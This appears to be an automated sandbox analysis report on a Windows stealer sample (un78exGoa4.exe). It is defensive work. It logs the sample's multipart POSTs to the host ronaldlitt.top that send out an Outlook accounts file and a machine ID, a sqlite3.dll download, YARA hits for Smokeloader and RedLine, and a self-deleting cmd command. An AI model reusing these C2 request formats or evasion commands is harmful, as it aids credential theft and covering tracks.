          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFBFCBFBKECAAKJKFBHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGIHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBFHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFBFCBFBKECAAKJKFBHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFIJEBFCGDAAKFHIDBFHost: ronaldlitt.topContent-Length: 1759Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDGHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCGDAFCFHIDBGDHCFCBHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBGHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKEGIDBGHIDGDHDBFHHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGIHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBFHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHIEBFHCAKEHIDGHCBAHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAFHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECGHJKKJDHIEBFHCAKEHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDBHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFIJEBFCGDAAKFHIDBFHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFBHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCGDAFCFHIDBGDHCFCBHost: ronaldlitt.topContent-Length: 1743Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: ronaldlitt.topContent-Length: 723Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 33 38 64 34 35 39 34 65 36 37 30 64 38 39 31 63 32 33 35 64 62 33 33 64 35 32 33 30 62 30 35 65 61 30 31 37 33 66 64 31 34 38 39 63 36 65 65 34 33 31 38 39 33 66 64 65 38 38 65 34 39 35 37 39 65 31 37 65 66 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 39 6d 64 46 78 50 64 58 52 73 62 32 39 72 58 47 46 6a 59 32 39 31 62 6e 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 59 32 78 7a 61 57 51 36 49 41 70 4e 61 57 35 70 49 46 56 4a 52 44 6f 67 43 6c 4e 6c 63 6e 5a 70 59 32 55 67 56 55 6c 45 4f 69 41 2f 50 7a 38 2f 50 7a 38 2f 50 7a 38 2f 50 7a 38 2f 50 7a 38 2f 50 7a 38 2f 43 6c 4e 6c 63 6e 5a 70 59 32 55 67 54 6d 46 74 5a 54 6f 67 43 6b 31 42 55 45 6b 67 55 48 4a 76 64 6d 6c 6b 5a 58 49 36 49 41 70 42 59 32 4e 76 64 57 35 30 49 45 35 68 62 57 55 36 49 41 70 51 63 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 63 79 42 56 53 55 51 36 49 44 38 2f 50 7a 38 2f 50 7a 38 2f 50 7a 38 4b 59 32 78 7a 61 57 51 36 49 41 70 4e 61 57 35 70 49 46 56 4a 52 44 6f 67 43 6c 4e 6c 63 6e 5a 70 59 32 55 67 56 55 6c 45 4f 69 41 2f 50 7a 38 2f 50 7a 38 2f 50 7a 38 2f 50 7a 38 2f 50 7a 38 2f 50 7a 38 2f 43 6c 4e 6c 63 6e 5a 70 59 32 55 67 54 6d 46 74 5a 54 6f 67 43 6b 31 42 55 45 6b 67 55 48 4a 76 64 6d 6c 6b 5a 58 49 36 49 41 70 42 59 32 4e 76 64 57 35 30 49 45 35 68 62 57 55 36 49 41 70 51 63 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 63 79 42 56 53 55 51 36 49 44 38 2f 50 7a 38 2f 50 7a 38 2f 5a 57 46 30 59 53 42 47 61 57 78 6c 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="token"7138d4594e670d891c235db33d5230b05ea0173fd1489c6ee431893fde88e49579e17ef5------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="file_name"c29mdFxPdXRsb29rXGFjY291bnRzLnR4dA==------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="file"Y2xzaWQ6IApNaW5pIFVJRDogClNlcnZpY2UgVUlEOiA/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/ClNlcnZpY2UgTmFtZTogCk1BUEkgUHJvdmlkZXI6IApBY2NvdW50IE5hbWU6IApQcmVmZXJlbmNlcyBVSUQ6ID8/Pz8/Pz8/Pz8KY2xzaWQ6IApNaW5pIFVJRDogClNlcnZpY2UgVUlEOiA/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/ClNlcnZpY2UgTmFtZTogCk1BUEkgU
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBAFCBKFIDGCAKKKFCHost: ronaldlitt.topContent-Length: 142903Connection: Keep-AliveCache-Control: no-cache
          Source: global trafficHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGHHost: ronaldlitt.topContent-Length: 264Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 33 38 64 34 35 39 34 65 36 37 30 64 38 39 31 63 32 33 35 64 62 33 33 64 35 32 33 30 62 30 35 65 61 30 31 37 33 66 64 31 34 38 39 63 36 65 65 34 33 31 38 39 33 66 64 65 38 38 65 34 39 35 37 39 65 31 37 65 66 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 64 6f 6e 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 2d 2d 0d 0a Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="token"7138d4594e670d891c235db33d5230b05ea0173fd1489c6ee431893fde88e49579e17ef5------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="message"done------JDGCFBAFBFHJEBGCAEGH--
          Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 07:29:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Connection: closeContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 0
          Source: un78exGoa4.exe, 00000000.00000002.421100115.00000000006B5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ronaldlitt.top
          Source: un78exGoa4.exe, 00000000.00000002.417733641.00000000004E5000.00000040.00000001.01000000.00000003.sdmp, un78exGoa4.exe, 00000000.00000002.417733641.0000000000429000.00000040.00000001.01000000.00000003.sdmp, un78exGoa4.exe, 00000000.00000002.421176016.000000000070A000.00000004.00000020.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.417733641.00000000005B6000.00000040.00000001.01000000.00000003.sdmp, un78exGoa4.exe, 00000000.00000002.421176016.00000000006EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ronaldlitt.top/25d4fc7fb0cb6b78.php
          Source: un78exGoa4.exe, 00000000.00000002.417733641.00000000004E5000.00000040.00000001.01000000.00000003.sdmp, un78exGoa4.exe, 00000000.00000002.417733641.0000000000429000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://ronaldlitt.top/25d4fc7fb0cb6b78.php89c6ee431893fde88e49579e17ef5
          Source: un78exGoa4.exe, 00000000.00000002.417733641.00000000004E5000.00000040.00000001.01000000.00000003.sdmp, un78exGoa4.exe, 00000000.00000002.417733641.00000000005B6000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://ronaldlitt.top/25d4fc7fb0cb6b78.phption:
          Source: un78exGoa4.exe, 00000000.00000002.421176016.000000000070A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ronaldlitt.top/3abdf8b5527012d0/sqlite3.dll5
          Source: un78exGoa4.exe, 00000000.00000002.421176016.000000000070A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ronaldlitt.top/3abdf8b5527012d0/sqlite3.dllY
          Source: un78exGoa4.exe, 00000000.00000002.426550844.0000000032B34000.00000004.00000020.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.428729273.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.sqlite.org/copyright.html.
          Source: FCFIJEBF.0.drString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
          Source: FCFIJEBF.0.drString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
          Source: FCFIJEBF.0.drString found in binary or memory: https://duckduckgo.com/ac/?q=
          Source: un78exGoa4.exe, 00000000.00000002.421176016.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, FCFIJEBF.0.drString found in binary or memory: https://duckduckgo.com/chrome_newtab
          Source: FCFIJEBF.0.drString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
          Source: un78exGoa4.exe, 00000000.00000002.421176016.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, FCFIJEBF.0.drString found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
          Source: un78exGoa4.exe, 00000000.00000002.421176016.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, FCFIJEBF.0.drString found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
          Source: un78exGoa4.exe, 00000000.00000002.421176016.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, FCFIJEBF.0.drString found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
          Source: un78exGoa4.exe, 00000000.00000002.421176016.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, FCFIJEBF.0.drString found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
          Source: un78exGoa4.exe, 00000000.00000002.421176016.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, FCFIJEBF.0.drString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
          Source: unknownHTTP traffic detected: POST /25d4fc7fb0cb6b78.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFBHost: ronaldlitt.topContent-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 31 31 45 39 33 31 43 32 43 41 32 37 30 32 36 31 31 38 32 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 2d 2d 0d 0a Data Ascii: ------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="hwid"4911E931C2CA2702611826------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="build"default------BAEBGCFIEHCFIDGCAAFB--
          Source: unknownDNS traffic detected: queries for: ronaldlitt.top
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040397F InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,
          Source: global trafficHTTP traffic detected: GET /3abdf8b5527012d0/sqlite3.dll HTTP/1.1Host: ronaldlitt.topCache-Control: no-cache
          Source: un78exGoa4.exe, 00000000.00000002.421132542.00000000006CA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 00000000.00000002.421505626.0000000002410000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
          Source: 00000000.00000002.421165078.00000000006D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
          Source: un78exGoa4.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
          Source: 00000000.00000002.421505626.0000000002410000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
          Source: 00000000.00000002.421165078.00000000006D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: String function: 00403893 appears 335 times
          Source: un78exGoa4.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: un78exGoa4.exeReversingLabs: Detection: 48%
          Source: un78exGoa4.exeVirustotal: Detection: 38%
          Source: un78exGoa4.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: C:\Users\user\Desktop\un78exGoa4.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
          Source: unknownProcess created: C:\Users\user\Desktop\un78exGoa4.exe C:\Users\user\Desktop\un78exGoa4.exe
          Source: C:\Users\user\Desktop\un78exGoa4.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\un78exGoa4.exe" & del "C:\ProgramData\*.dll"" & exit
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
          Source: C:\Users\user\Desktop\un78exGoa4.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\un78exGoa4.exe" & del "C:\ProgramData\*.dll"" & exit
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
          Source: C:\Users\user\Desktop\un78exGoa4.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32
          Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@6/19@1/1
          Source: C:\Users\user\Desktop\un78exGoa4.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
          Source: un78exGoa4.exe, 00000000.00000002.428676350.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.426550844.0000000032B34000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
          Source: un78exGoa4.exe, 00000000.00000002.428676350.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.426550844.0000000032B34000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
          Source: un78exGoa4.exe, 00000000.00000002.428676350.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.426550844.0000000032B34000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
          Source: un78exGoa4.exe, 00000000.00000002.428676350.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.426550844.0000000032B34000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
          Source: un78exGoa4.exe, 00000000.00000002.428676350.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.426550844.0000000032B34000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
          Source: un78exGoa4.exe, 00000000.00000002.428676350.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.426550844.0000000032B34000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
          Source: un78exGoa4.exe, 00000000.00000002.428676350.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.426550844.0000000032B34000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
          Source: un78exGoa4.exe, 00000000.00000003.390987396.000000000255B000.00000004.00000020.00020000.00000000.sdmp, HDHCGHDHIDHCBGCBGCAE.0.drBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
          Source: un78exGoa4.exe, 00000000.00000002.428676350.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.426550844.0000000032B34000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
          Source: un78exGoa4.exe, 00000000.00000002.428676350.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, un78exGoa4.exe, 00000000.00000002.426550844.0000000032B34000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
          Source: C:\Users\user\Desktop\un78exGoa4.exeCode function: 0_2_0040ED7B CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification,
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6812:120:WilError_01
